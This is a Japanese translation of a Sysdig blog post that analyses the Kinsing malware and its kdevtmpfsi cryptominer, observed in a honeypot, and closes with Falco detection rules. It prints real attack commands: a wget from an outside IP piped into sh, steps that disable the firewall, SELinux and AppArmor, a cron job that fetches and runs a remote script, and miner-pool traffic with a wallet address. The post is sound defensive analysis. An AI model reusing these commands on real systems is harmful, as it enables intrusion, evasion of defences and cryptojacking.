ブログ

Kinsingにズームイン

Kinsingにズームイン

本文の内容は、2020年11月23日にKaizhe Huangが投稿したブログ(https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/)を元に日本語に翻訳・再構成した内容となっております。

最近、セキュリティリサーチャーから報告されているKinsing攻撃は、誤って設定されたクラウドネイティブ環境を標的にすることで知られています。また、防御回避スキームだけでなく、包括的な攻撃パターンでも知られています。

誤って設定されたホストやクラスターを悪用して、攻撃者が望むコンテナを実行することができます。そうなると、サービスが停止したり、他のサービスへのラテラルムーブメントに利用され、データが危険にさらされることになります。

このブログでは、Kinsingの攻撃パターンに切り込んでいきます。この攻撃を理解すれば、クラウドネイティブ環境の防御にもつながります。

スタートポイント

インターネットに接続されたデバイスの検索エンジン「Shodan」によると、2000以上のDockerエンジンがインターネット上に公開されていたという。それらのDockerエンジンの中には認証機能が設定されていないものもあり、Kinsing攻撃の絶好のターゲットになっていました。

今回のハニーポットプロジェクトでは、Ubuntuの最新バージョンのコンテナが特権設定なしで作成されていることに気付きました。通常のコンテナが動いているように見えました。しかし、エントリーポイントのイメージがちょっと怪しいので気がつきました。

/bin/bash-capt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 45.10.88.124/d.sh | sh;tail -f /dev/null

私たちの注意を引いたのは:

  1. このコードは実行中のコンテナの中で apt-get を実行していました。イメージをビルドする際には、すべてのパッケージのインストール/更新は一度だけ、早い段階で行われるべきなので、これは正常なビヘイビアではありません。
  2. 実行中のコンテナ内で cron サービスを起動するのも異常です。CronJobJobsを使って、オーケストレータレベルで定期的にタスクを実行すべきです。
  3. 未知のIPアドレスからシェルスクリプトをダウンロードするのも不審に見えます。Whoisの検索では、IPは東ヨーロッパの国に位置していました。また、ほとんどのサービスはインターネットへのegressトラフィックを必要としないことにも注意してください。
  4. コードはコンテナを実行し続けるために tail -f /dev/null を実行しています。

よく調べてみると、ダウンロードしたd.shはKinsing攻撃を開始する悪意のあるスクリプトのようです。スクリプトがダウンロードされた後、以下のことを行うために実行されます。

1) fd制限の増加、syslogの削除、ファイル/ディレクトリのパーミッションの変更により、マルウェアの実行準備を行う。

ulimit -n 65535
rm -rf /var/log/syslog
chattr -iua /tmp/
chattr -iua /var/tmp/
chattr -R -i /var/spool/cron
chattr -i /etc/crontab 

2) セキュリティサービスをオフにする(コマンドの説明のためにコメントを追加しました)。

# Disable firewall
ufw disable
# Remove iptable rules
iptables -F
# Stop NMI hard lock detector so that no hardware instruction interruption is feasible
sudo sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
# Stop apparmor
service apparmor stop
systemctl disable apparmor
# Stop SELinux
setenforce 0
echo SELINUX=disabled >/etc/selinux/config
# Stop security service from Ali Cloud
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y 

3) 他のcrypto miningプロセスとそのcronjobをKillする。

ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 %
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmrig-cpu
crontab -l | sed '/xmr.ipzse.com/d' | crontab -
crontab -l | sed '/185.181.10.234/d' | crontab -
crontab -l | sed '/146.71.79.230/d' | crontab -
crontab -l | sed '/122.51.164.83/d' | crontab - 

4) クリプトマイニングに関連するファイルを削除します。

rm -rf /var/tmp/2.sh
rm -rf /var/tmp/config.json
rm -rf /var/tmp/xmrig
rm -rf /var/tmp/1.so 

5) Kinsingマルウェアをダウンロードし、以下を実行します。

crontab -l | grep -e "195.3.146.118" | grep -v grep
if [ $? -eq 0 ]; then
  echo "cron good"
else
  (
    crontab -l 2>/dev/null
    # $LDR is either wget or curl
    echo "* * * * * $LDR http://195.3.146.118/d.sh | sh > /dev/null 2>&1"
  ) | crontab -
fi 

d.shを実行した後、システムが混乱し、キンシングが実行されるようです。

KinsingがSysdigオープンソースで実際に何をするのかを掘り下げてみましょう。

マルウェアであるKinsing

セキュリティリサーチャーの報告によると、Kinsingはクラウドネイティブアプリケーション開発のための高レベルなプログラミング言語であるGolangで書かれています。Go 1.13.6でコンパイルされていますが、これはかなり新しいバージョンです。ハニーポットプロジェクトでKinsingが動いていたときに、じっくりと見てみる機会がありました。オープンソースのSysdigを使って、Kinsingから実行されたsyscallを解析してみました。

要約すると、Kinsingはクリプトマイナーへのコンボイとして機能します。 被害者の環境内で正常に実行されている間、それはラテラルに他のマシンへ移動します。

Kinsing はクリプトマイナーを作成する

Kdevtmpfsi は /tmp ディレクトリにある Kinsing によって作成され、実行される crypto miner です。サイズを考えると、このクリプトマイナーはKinsingに組み込まれているように見えます。

3.7M Oct 20 22:13 kdevtmpfsi
16M Jul 26 10:29 kinsing 

システムコールから、ファイルがどのように作成されるのか、より明確になりました。

0.png

オープンソースの Sysdig Inspect を使って見てみると、Kinsing は /tmp/kdevtmpfsi というファイルに書き込みました。ファイルを作成した後、実行するためのパーミッションを追加しました。

1.png

最後にバイナリが実行されます。

2.png

crypto minerが実行されると、Kinsingはプロセスステータスファイルを読み込んで常にminerの状態をチェックします。

3.png

また、ソースコードにも反映されているので、リバースエンジニアリングをする際には、redressでリバースエンジニアリングをすることができます:

File: main.go
        init Lines: 29 to 30 (1)
        init0 Lines: 63 to 75 (12)
        main Lines: 75 to 213 (138)
        mainfunc1 Lines: 139 to 403 (264)
        healthChecker Lines: 213 to 237 (24)
        minerRunningCheck Lines: 237 to 271 (34)
        isMinerRunning Lines: 271 to 300 (29)
        minRun Lines: 300 to 398 (98) 

メイン関数の中には、minerの状態をチェックする関数 isMinerRunning があります。これにより、kdevtmpfsi が kill された場合、Kinsing はminerプログラムを再起動します。

Kinsing は C2 サーバーと通信します

他のいくつかのマルウェアと同様に、Kinsing は Command and Control (C2) サーバーに接触しました。以下のURLパスとリクエストメソッドに送信されたHTTPリクエストは、Sysdigオープンソースによってキャプチャーされました:

4.png

それぞれのリクエストは、いくつかの奇妙な文字を返します。

上で強調する価値のあるリクエストは、C2サーバーの「/get」に対するものです。このリクエストの直後、Kinsingマルウェアは別のサーバーからシェルスクリプトのダウンロードを開始しました。以下は、HTTPリクエストを介してダウンロードされた3つのスクリプトです。

  • al.sh
  • cron.sh
  • spre.sh

al.shとcron.shは、セキュリティメカニズムを停止し、他のマイニングプロセスを停止し、他のクリプトマイニングのcronjobを削除し、Kinsing自身のcronjobを追加するという、以前に行われたタスクを繰り返しています。

5.png

spre.sh は、被害者のファイルシステム (例えば、"~/.ssh/config", "~/.bash_history" のようなファイル) の SSH 鍵を読み込んで、他のマシンに横移動するために使用されました。

6.png

Kdevtmpfsi クリプトマイナー

クリプトマイニング攻撃は、Wi-Fi上のフリーライダーのようなものです。

ネットワークの帯域幅がフリーライダーによって共有されるのと同じように、あなたのCPUやコンピューティングリソースの一部(または大部分)が、あなたの同意なしにマイニングプロセスによって占有されます。影響も同様です。Wi-FiフリーライダーがWi-Fiネットワークを使用してBitTorrent経由で映画をダウンロードしている場合、Netflixを視聴している間に不便な体験をする可能性があります。

マイニングプロセスが実行されている場合、マイニングプロセスがCPUをほとんどの時間占有する可能性があるため、同じノードで実行されている他のアプリケーションに深刻な影響を与えることになります。クリプトマイニング攻撃は、侵入に成功した場合に利益を得ることがほぼ保証された方法であるため、ハッカーにとって最も魅力的な攻撃の一つとなっています。このセクションでは、クリプトマイニングを行う kdevtmpfsi のいくつかのパターンを見ていきます。

CPU 使用率

ほとんどのクリプトマイナーは多くの CPU サイクルを占有していますが、kdevtmpfsi も同様です。kdevtmpfsi が起動すると、CPU 使用率は上昇します。

7.png

ご覧のように、kdevtmpfsi はノードの計算能力のほぼ半分を占めています。

本番環境では、DevOps はソフトウェアの欠陥やオーバーロードされたリクエストのために、いくつかのサービスが多くの CPU サイクルを占有していることに気づくかもしれません。それでも、すべてのCPU上昇がクリプトマイナーによって引き起こされているとは言い切れません。しかし、もし CPU の上昇が未知のプロセスや未知のコンテナによって引き起こされているのであれば、その上昇にもっと注意を払うべきです。

kdevtmpfsi がマイニングする準備をする方法

ワークロードごとにリソースのリミットやリクエストを割り当てるベストプラクティスに従っていますが(あなたもそうすべきです)、コンテナ化されたマイクロサービスのほとんどは、ワーカーノードが8コア、16コア、32コアのCPUであるかどうかはあまり気にしません。これらのサービスは、ワーカーノードのリソースキャパシティと同様に、リクエストに基づいて kube-scheduler によって実行されるようにスケジューリングされます。

kdevtmpfsi に戻ります。以下は、マイナーがマイナープールに接触する前にアクセスしたシステムファイルの一覧です。

/sys/devices/system/cpu/online:オンラインでスケジュールされているCPUの数を知るには (例えば、0-7は8コアのCPUがあることを示しています)

/proc/cpuinfo:システムが実行しているプロセッサのタイプを、現在の CPU の数を含めて表示します。

/proc/mounts:現在マウントされているデバイスとそのマウントポイントのリストを含む self/mounts へのシンボリックリンク。

/proc/self/cgroup:呼び出し元のプロセスに関するCgroup情報。

/sys/bus/cpu/devices/cpu*/online:オンラインでスケジュールされているCPU。

/sys/bus/cpu/devices/cpu*/topology/*:論理CPUと同じ物理パッケージ内の他のコアやスレッドとの関係を記述したCPUトポロジーファイルです。

/sys/bus/cpu/devices/cpu*/cache/index*/* :CPUキャッシュ属性のパラメータ。

/sys/kernel/mm/hugepages/* :hugepagesに関するファイルと情報が含まれています。

/sys/bus/node/devices/node*/cpumap :ノードのcpumapです。

/sys/bus/node/devices/node*/meminfo :ノードの分布とメモリ使用率に関する情報を提供します。proc/meminfoに似ています。

sys/bus/node/devices/node*/hugepages:ノードの巨大なページサイズの制御/クエリ属性を提供します。

/sys/devices/virtual/dmi/* :ハードウェア情報を含みます。クラウドサービスの情報(例: ec2, t2.xlarge)も含まれているかもしれません。

お察しの通り、kdevtmpfsiはCPU、メモリ、cgroupなどのシステム情報を収集し、マイニングの準備をしています。

kdevtmpfsi はどのようにしてマイナープールと通信するのか?

他のほとんどの クリプトマイナーと同様に、kdevtmpfsi はマイナープールにもコンタクトします。これは HTTP 上で JSON-RPC を使って行います。

まず、kdevtmpfsi はマイナープールサーバにログインリクエストを送ります:

data={"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"42J8CF9sQoP9pMbvtcLgTxdA2KN4ZMUVWJk6HJDWzixDLmU2Ar47PUNS5XHv4Kmfdh8aA9fbZmKHwfmFo8Wup8YtS5Kdqh2","pass":"pass","agent":"XMRig/5.5.0 (Linux x86_64) libuv/1.8.0 gcc/5.4.0","algo":["cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/gpu","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","argon2/chukwa","argon2/wrkz"]}}

ログインリクエストから、実際にMonero(XMR)のマイニングを行っていることがわかります。そして、ログインリクエストには、ログインID、パスワード、エージェント、サポートされているマイニングアルゴリズムが含まれています。

ログインが確認されると、以下のようなレスポンスが返されます。

data={"jsonrpc":"2.0","id":1,"error":null,"result":{"id":"768395e4-6b12-4354-82d6-12d16884fd5c","job":{"blob":"0e0e9ccce1fc0562c6ecba81af5cb891de8765b67096b4ca647b9be3902fc904cf2603b2a0bf5e000000ee094c6e8dfd8a6cfe288caf4f9b05bc97bf0a2ed7a8d4385ee5c5132a090bdd9706","job_id":"845729501145250","target":"5a030000","algo":"rx/0","height":2217639,"seed_hash":"c6b33164bdcdc962e58dbce571ed6d1353c67f53924081061d9f3af6eba2203a"},"extensions":["algo","nicehash","connect","tls","keepalive"],"status":"OK"}}

Kdevtmpfsi は、ネゴシエートされたマイニングアルゴリズムと、通信するスキームのためにすぐにマイニングの仕事を受けました。

Kdevtmpfsiはその後、さらに4つのジョブを受け取りました:

Job ID: 703276738178843

data={"jsonrpc":"2.0","method":"job","params":{"blob":"0e0e99cde1fc05abffc0dcb55a5309a31f147fc02172c2469d2ffdaf98147e85c732a71393ef64000000eecde9ea6b01658fa8c5f11b9f5bcca9030791f8a84cfca9a3d6dbc322b3bb535415","job_id":"703276738178843","target":"5a030000","algo":"rx/0","height":2217640,"seed_hash":"c6b33164bdcdc962e58dbce571ed6d1353c67f53924081061d9f3af6eba2203a"}}

Job ID: 508335469096263

data={"jsonrpc":"2.0","method":"job","params":{"blob":"0e0eb5cde1fc0598f9fab009bfdf7ab22fc588690f604e30f4b2c93c6308d76cd1a08482e6e7c6000000ee3f33e506d3399bd8818056482a5ec3e2aead8ef4fba2810f66d8591e5091103905","job_id":"508335469096263","target":"5a030000","algo":"rx/0","height":2217641,"seed_hash":"c6b33164bdcdc962e58dbce571ed6d1353c67f53924081061d9f3af6eba2203a"}}

Job ID: 704899485008265

data={"jsonrpc":"2.0","method":"job","params":{"blob":"0e0ea8cde1fc0598f9fab009bfdf7ab22fc588690f604e30f4b2c93c6308d76cd1a08482e6e7c6000000ee5e7340a918030f70c783a7bf4b96b9f9fdeeda0e8646708c3dd7e25b774857420b","job_id":"704899485008265","target":"5a030000","algo":"rx/0","height":2217641,"seed_hash":"c6b33164bdcdc962e58dbce571ed6d1353c67f53924081061d9f3af6eba2203a"}}

各ジョブは以前にネゴシエートされたものと同じアルゴリズムを使い、シードハッシュ値は同じですが、ブロブ値は異なります。

その後、kdevtmpfsi は keepalived と呼ばれる特別なメソッドを使って、なんとかハートビートのようなメッセージをマイナープールに送ることができました:

data={"id":4,"jsonrpc":"2.0","method":"keepalived","params":{"id":"768395e4-6b12-4354-82d6-12d16884fd5c"}}

そして、マイナープールサーバーはnodメッセージで返してきました。

data={"id":2,"jsonrpc":"2.0","error":null,"result":{"status":"KEEPALIVED"}}

ハートビートメッセージは約1分おきに送信されていました。これらの通信パターンはマイナーが走っている間も繰り返されていました。

Kinsingの緩和戦略

緩和策の話をする前に、Kinsingからどのような不審な攻撃パターンが発見されたのかを簡単に復習しておきましょう。

簡単なまとめ

Kinsingから見つかったパターンを、プロセス、ファイル、ネットワークの3つのカテゴリーに分けることは理にかなっていると思います。

そして、この分類は3つの異なる角度から潜在的なIOCを特定するのに役立ちます。

疑わしいプロセス活動

  • パッケージ管理ツールを起動して、apt-getのような攻撃を促進するツールキットをダウンロードする。
  • コンテナ内で cronjob サービスを有効にする。
  • ファイアウォール、AppArmor、クラウドエージェントなどのセキュリティサービスを(コンテナから)無効にします。
  • tmp や /var/tmp のような不審なディレクトリから起動されたプロセス。
  • 不明なプロセスが多くのCPUサイクルを占有している。
  • プロセスが存在しないかもしれないが、プロセスの束をキルする。

不審なファイルの動作

  • ファイルが存在しないかもしれないが、ファイルの束を削除する。
  • 新しく作成されたファイルに実行権限を付与する(Dockerfile内で設定する必要があります)。
  • システムやデバイスの情報を読み取る。
  • 秘密情報を含んでいる可能性のあるファイルを読む (例: "~/.ssh/config", "~/.bash_history")。
  • ファイルから "id_rsa "のような、特定の機密性の高い文字列パターンを探す。
  • cronjob が使用されていない可能性がありますが、cronjob を更新する。

不審なネットワーク活動

  • C2 サーバーおよびマイナープールへのネットワーク トラフィック。
  • HTTP リクエストに不審な URL パスが含まれています(例:/o、/mg、/al.sh、/spre.sh)。
  • 疑わしいIPアドレスに送信されるハートビートメッセージ。

Kinsing攻撃を完全に明らかにするために、個々の不審なイベントに頼ることはできませんが、上記のパターンのいくつかはSOCチームの注意を引くのに十分な重要性を持っています。そこで、Falcoがどのようにしてそのような攻撃を検知するのに役立つかについて話してみましょう。

Falco

CNCFのインキュベーションプロジェクトであるFalcoは、豊富で既成概念にとらわれないデフォルトルールにより、クラウドネイティブ環境での異常な動作を検出するのに役立ちます。前述の不審な動作を検出するためにハイライトする価値のあるものをいくつか紹介します。

# コンテナは不変のはずです。パッケージの管理はイメージのビルド時に行うべきです。
- rule: Launch Package Management Process in Container
  desc: Package management process ran inside container
- rule: Outbound Connection to C2 Servers
  desc: Detect outbound connection to command & control servers
- rule: Container Drift Detected (chmod)
  desc: New executable created in a container due to chmod
- rule: Search Private Keys or Passwords
  desc: Detect grep private keys or passwords activity.
- rule: Detect outbound connections to common miner pool ports
  desc: Miners typically connect to miner pools on common ports. 

Falcoのルールの完全なリストはここで見ることができます

まとめ

Kinsingマルウェアは、攻撃中に包括的なパターンを示しました。

クラウドネイティブ環境からプロセス活動、ファイル活動、ネットワーク活動を深く洞察し、スマートな検知エンジンの助けがなければ、このような攻撃を検知することは難しいでしょう。それを発見することはさらに困難になるでしょう。

また、監視とセキュリティが統合されたプラットフォームを利用することで、調査プロセスが迅速化することに着目してください。1つの疑わしいイベントを特定すると、リソースの使用状況、ネットワーク接続、機密ファイルの読み取りなど、さまざまな角度からイベントを追跡するのに役立ちます。

これらのイベントを関連付けることに成功すると(例:親/孫プロセスIDの使用)、Kinsing攻撃を明らかにすることができます。

Sysdig Secure DevOps Platformは、監視とセキュアなソリューションを組み合わせたもので、イベントを簡単に関連付けることができ、他の方法では不可能な方法でクラウドネイティブ環境を保護することができます。今すぐお試しください。

ご質問・お問い合わせはこちら

top